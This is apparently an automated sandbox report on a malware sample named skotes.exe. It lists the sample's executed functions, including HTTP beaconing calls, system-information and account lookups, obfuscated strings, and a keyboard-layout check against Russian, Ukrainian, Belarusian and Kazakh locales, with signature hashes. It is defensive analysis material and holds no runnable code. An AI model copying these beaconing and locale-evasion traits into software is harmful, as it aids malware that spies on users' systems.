Function 05180B75 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705900370.0000000005180000.00000040.00001000.00020000.00000000.sdmp, Offset: 05180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6670d818706e09dd1858522000821dfd59594797e9be8f2c6aef7168fbd35529
Instruction ID: c8768ed407c076bd47dbc1e833adc4bca6f67ef4df75e802237d94f16cdfceaa
Opcode Fuzzy Hash: 6670d818706e09dd1858522000821dfd59594797e9be8f2c6aef7168fbd35529
Instruction Fuzzy Hash: F901DFBF20D6196EB134E9516B9DEFA772EE6C6774332842AF802C9446E3504A4E08B1

Analysis Process: skotes.exePID: 5844, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.5%
Total number of Nodes:	1313
Total number of Limit Nodes:	13

Executed Functions

Function 004BBE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 004BBEB8
InternetOpenW.WININET(00508DC8,00000000,00000000,00000000,00000000), ref: 004BBEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 004BBEEB
HttpOpenRequestA.WININET(?,00000000), ref: 004BBF36
HttpSendRequestA.WININET(?,00000000), ref: 004BBFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 004BC0A8
InternetCloseHandle.WININET(?), ref: 004BC187
InternetCloseHandle.WININET(?), ref: 004BC18F
InternetCloseHandle.WININET(?), ref: 004BC197

Strings

RmNn, xrefs: 004BD606
8HJUeIfzLo==, xrefs: 004BC3CB, 004BC623
8HJUeMD Lq5=, xrefs: 004BC465
invalid stoi argument, xrefs: 004BE4F4
RE1NXF==, xrefs: 004BBF0E
stoi argument out of range, xrefs: 004BE4EA

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: bec4efa724f5079050ef378385ab7b3f2938cf0360ef6f9808d3a2c81d098145
Instruction ID: 51f88aaaa4d92a32c41d2a20a418aeafc87deba96f7def3a3f229f789f7a33bc
Opcode Fuzzy Hash: bec4efa724f5079050ef378385ab7b3f2938cf0360ef6f9808d3a2c81d098145
Instruction Fuzzy Hash: F6B1D5B1A001189BDB28DF28CCC5BEE7BA5EF45304F50419EF50997281D7799AC4CBA9

Function 004B65E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 004B6680

Strings

RySfdMLx, xrefs: 004B669C
GSTmfV==, xrefs: 004B6728
ISNmfV==, xrefs: 004B67D1

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: e90afc330cd0fefabf4dc087026ebc2a8bc4716dc21474193b9808a1e8cfb661
Instruction ID: f8d38761090fd6c99f4c7deae25879e160e2d8e08a3db1b981f77851aeed48c8
Opcode Fuzzy Hash: e90afc330cd0fefabf4dc087026ebc2a8bc4716dc21474193b9808a1e8cfb661
Instruction Fuzzy Hash: 5791B2B1A001189BDB28DF28CC85BDDB779EB45304F5045EEE51997282DB399BC4CFA8

Function 004CD3E2 Relevance: .2, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004B24BE

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 624ae1095bdcbf2c6a139f11780a99d632b29db2d8286000a9c41f9f4aa98a18
Instruction ID: bcb7a3a99245eb528e81e130ee4520a0492099730d9e4035dd102ed288a052c1
Opcode Fuzzy Hash: 624ae1095bdcbf2c6a139f11780a99d632b29db2d8286000a9c41f9f4aa98a18
Instruction Fuzzy Hash: DB51BC76D0060ACBDB55CF59D8C5BAABBB1FB58314F20852ED409EB350E338A944CF98

Function 004C47B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

Strings

aWW0, xrefs: 004C555C
9c9aa5, xrefs: 004C5619
GE0, xrefs: 004C5585
8WI0, xrefs: 004C5692
3I3eB==, xrefs: 004C4802
VXQ0, xrefs: 004C550A
anE0, xrefs: 004C566B
2I0, xrefs: 004C5627
VXA0, xrefs: 004C55AE
Vmc0, xrefs: 004C55D7
KCWUOl==, xrefs: 004C5649
246122658369, xrefs: 004C502A, 004C503D, 004C507F, 004C5089, 004C5684
MGE+, xrefs: 004C4866, 004C48DD, 004C4B85, 004C4BFC
WGS0, xrefs: 004C5533
9HQ0, xrefs: 004C54E1
93E0, xrefs: 004C5600
jS=, xrefs: 004C6513, 004C67E2
stoi argument out of range, xrefs: 004C4F9C
Fw==, xrefs: 004C4E1D
MGI+, xrefs: 004C48AD, 004C49DC, 004C4BCC, 004C4CFB
9250, xrefs: 004C54AD

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleep
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 3516211189-1982281295
Opcode ID: 7d09ac3767e9a0f926696a3858edf98cd357ded298248da5a9d5f2f34b21efd2
Instruction ID: 0ed861b3ccb176243fa5be5e397cdb9e29e3d85f45e2c17df541106427c718f4
Opcode Fuzzy Hash: 7d09ac3767e9a0f926696a3858edf98cd357ded298248da5a9d5f2f34b21efd2
Instruction Fuzzy Hash: A8233670E002548BEB19DB28CE89B9DBB76AB82304F5481DDE049A72D2DB395FC4CF55

Function 004C2F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hykl, xrefs: 004C387F
246122658369, xrefs: 004C2F78
WTw=, xrefs: 004C2F5E
invalid stoi argument, xrefs: 004C434A
5120, xrefs: 004C3BAF, 004C3C9A
", xrefs: 004C3F89
V2Te, xrefs: 004C3EB0
stoi argument out of range, xrefs: 004C4359
WX f, xrefs: 004C3BDE
WGpm, xrefs: 004C3CC9
Fw==, xrefs: 004C378E

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: 4c690aeb86c3d8604cec3844e50aaac8dff3fc2c559037d30bbc01a2aea04213
Instruction ID: 4031662c18a859e24e7ac398f62869e45834d70de246de6776381f9c150c7d33
Opcode Fuzzy Hash: 4c690aeb86c3d8604cec3844e50aaac8dff3fc2c559037d30bbc01a2aea04213
Instruction Fuzzy Hash: 6B725774A002489BDF18EF79CD46FDDBBB1AF46304F50819EE405A7382D7399B848B96

Function 004B5EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 004B5F13

Strings

Keyboard Layout\Preload, xrefs: 004B6054
00000423, xrefs: 004B60FA
00000419, xrefs: 004B6098
00000422, xrefs: 004B60C9
0000043f, xrefs: 004B612B

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: 80e594ee98f2e3978a8abc77488e645d29e051c2ba1ab062cfae5299e413e1f9
Instruction ID: 4d8dda92388fdbb9061ec8bdd6431344f094024b81f98f871c5918fb6931b232
Opcode Fuzzy Hash: 80e594ee98f2e3978a8abc77488e645d29e051c2ba1ab062cfae5299e413e1f9
Instruction Fuzzy Hash: 44D1C171900158ABEB24DF24CC85BDEB7B9AF05304F5042DEE508E7291DB789BA48F69

Function 004B7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 004B7ED3

Strings

JjsrPl==, xrefs: 004B828A
JjssPV==, xrefs: 004B81E2
JjsrQV==, xrefs: 004B8092
JjssOl==, xrefs: 004B813A

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: b038a6a2e17b2ae98bfacd6373b073d28f9b6580d4537acbc36d6ea2abad9f2b
Instruction ID: 60b8fdfbef087b1547c07792006f123a6eb3de80c2d72af21f7fb07eb60c64ff
Opcode Fuzzy Hash: b038a6a2e17b2ae98bfacd6373b073d28f9b6580d4537acbc36d6ea2abad9f2b
Instruction Fuzzy Hash: 9CE14970E002049BDF15BB29CC0B7DE7B71AB41724F94428EE815673C2DB394E958BEA

Function 004B8380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 004B8524

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 969db85d56af81d038e2ae38b3ac8fdaaa83bcfd47647968ddcd855bf78d5cc9
Instruction ID: ee7640b52ce85442c373c6a4f301d33ec875b975565ffa5b10b2fd2440009b44
Opcode Fuzzy Hash: 969db85d56af81d038e2ae38b3ac8fdaaa83bcfd47647968ddcd855bf78d5cc9
Instruction Fuzzy Hash: B4512A70D102589BDB24EB68CD49BDDB779EB45314F5042AEE404A72C1EF389E80CB69

Function 004EB04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,23D40EA9,?,?,004CD3FC,23D40EA9,?,004C7A8B,?,?,?,?,?,?,004B7465,?), ref: 004EB07E

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9a828d4ecfbc998848819ddab5db05b81308a42d53b090b6e137c6dd0144517e
Instruction ID: 98ba0e6f62c066758020e3170f4745644fc0fbac1378357f64dbcf4613602c05
Opcode Fuzzy Hash: 9a828d4ecfbc998848819ddab5db05b81308a42d53b090b6e137c6dd0144517e
Instruction Fuzzy Hash: ECE065351412A696DA3133674C41B6BA648DF413B3F151217AD6896290DB28ED0181ED

Function 004C6C70 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004C6CF5

Memory Dump Source

Source File: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000006.00000002.2922189527.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922402588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923453883.0000000000519000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.000000000077F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923832942.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927841191.00000000007C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930007833.000000000095E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930452154.0000000000960000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e01504c4bf2c071a09fa8b1b509aa22d6aa14f3fe25d266b39545810e7869d2c
Instruction ID: 40a07247cc094139f328c9021a3a4c5d31654dcdfd7b4ac73230ff1a87071e9f
Opcode Fuzzy Hash: e01504c4bf2c071a09fa8b1b509aa22d6aa14f3fe25d266b39545810e7869d2c
Instruction Fuzzy Hash: 03F0F475A00604ABCB01BB6A8D07B5EBF75EB06764F80435DE821672D1DB381A1447D7

Function 0536027A Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2955536017.0000000005360000.00000040.00001000.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60a8ea6411e736527aa08038d6adb5b544f5d87b7675eb4070e8bd2b991e8daa
Instruction ID: 221741fa479d96429df0f02e7481da07d54b5028ce0e520db5474d078daaaaf9
Opcode Fuzzy Hash: 60a8ea6411e736527aa08038d6adb5b544f5d87b7675eb4070e8bd2b991e8daa
Instruction Fuzzy Hash: D601DFEB1890107EA142C6816B49AFA7B6EFAC7B70330C42EF406C6509F2D45E0A2131

Function 0536032E Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2955536017.0000000005360000.00000040.00001000.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23ad68c40324769d968e98a2b756e45dca5d03c41e437234a968f235eb629f91
Instruction ID: 3da2d832d6d5a3da1e918fca0be5fabe59e833beb82581bde3a5cacfaa0b3c66
Opcode Fuzzy Hash: 23ad68c40324769d968e98a2b756e45dca5d03c41e437234a968f235eb629f91
Instruction Fuzzy Hash: 5EF0F4EB58D0202EA106E591775E5FA6B1EF9C7730334C82FF042CA419F5868E4B91B8

Function 05360288 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2955536017.0000000005360000.00000040.00001000.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb78bfaa66a9f4bb69f3b88d0fa6eabc2728e2830c655f2e5bac0f20892eb0d6
Instruction ID: d7cd1d2ff1af3b2403632ff4977924316b37422c0aa494834505176dce2d80a2
Opcode Fuzzy Hash: fb78bfaa66a9f4bb69f3b88d0fa6eabc2728e2830c655f2e5bac0f20892eb0d6
Instruction Fuzzy Hash: 4C01F2FB1891107EA102C6816B9AAFA772DFAC7770330C42EF402C6505E2945E0E5230

Function 053602A0 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2955536017.0000000005360000.00000040.00001000.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92427b8ad61c6dbf6b00350ec1b2aba689622715e6a7db38ccc8256a44d17eb8
Instruction ID: 35bfbe7daa03e7dcf3784c64a0e92b1d2ebe6ec0defa2a49caedca64c99aef20
Opcode Fuzzy Hash: 92427b8ad61c6dbf6b00350ec1b2aba689622715e6a7db38ccc8256a44d17eb8
Instruction Fuzzy Hash: 16F046FB58D0107EB146CA916B49AFA772DFAC6B30334C83EF402C6409F1984E0A1574

Function 053602BC Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2955536017.0000000005360000.00000040.00001000.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5996a640236e9fdbe0f4941c44af529d8a6b324d935d44e4902ee2f3b9d72781
